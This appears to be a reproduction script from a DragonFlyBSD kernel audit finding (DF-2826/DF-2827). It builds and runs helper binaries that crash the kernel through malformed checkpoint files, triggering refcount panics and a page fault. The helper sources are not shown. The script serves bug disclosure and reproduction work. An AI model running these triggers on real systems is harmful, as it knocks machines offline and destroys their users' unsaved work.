DragonFlyBSD Kernel Audit
DF-2826 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2826 / DF-2827 exact reproduction (guest, root, same boot!)
set -e
cd /root/df2826
sh build.sh > build.log 2>&1 || { tail -20 build.log; exit 1; }

echo '=== DF-2826 variant A: checkpoint fd >= 3 -> vref panic ==='
./trigger_fd3                       # panics: vref: bad refcnt 00000000 1

echo '=== DF-2826 variant B: checkpoint fd 0 -> fdrop panic at exit ==='
./gen df2826.ckpt stage2.bin normal 0x600000f0 1   # freshen file handle
./trigger_fd0                       # panics: fdrop: invalid f_count 0

echo '=== DF-2827: e_phnum == 0 -> kernel page fault at VA 0x18 ==='
./gen df2827.ckpt stage2.bin zero
./trigger_fd3 df2827.ckpt           # Fatal trap 12, fault VA 0x18